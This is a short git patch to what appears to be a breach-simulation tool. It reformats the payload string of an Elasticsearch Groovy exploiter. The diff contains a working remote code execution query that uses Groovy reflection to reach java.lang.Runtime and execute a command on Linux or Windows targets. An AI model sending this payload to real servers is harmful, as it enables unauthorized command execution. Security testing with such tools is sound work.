From b3c8ce28ed71715b4fec9a4e02110f45662ee540 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Apr 2021 19:10:36 -0400 Subject: [PATCH] agent: Fix bug caused by unintentional newline in elastic exploiter --- monkey/infection_monkey/exploit/elasticgroovy.py | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index f7e23d21a..734e7e5ef 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -36,10 +36,9 @@ class ElasticGroovyExploiter(WebRCE): GENERIC_QUERY = ( """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD ) - JAVA_CMD = ( - GENERIC_QUERY - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec( - \\"%s\\").getText()""" + JAVA_CMD = GENERIC_QUERY % ( + """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(""" + """\\"%s\\").getText()""" ) _TARGET_OS_TYPE = ["linux", "windows"]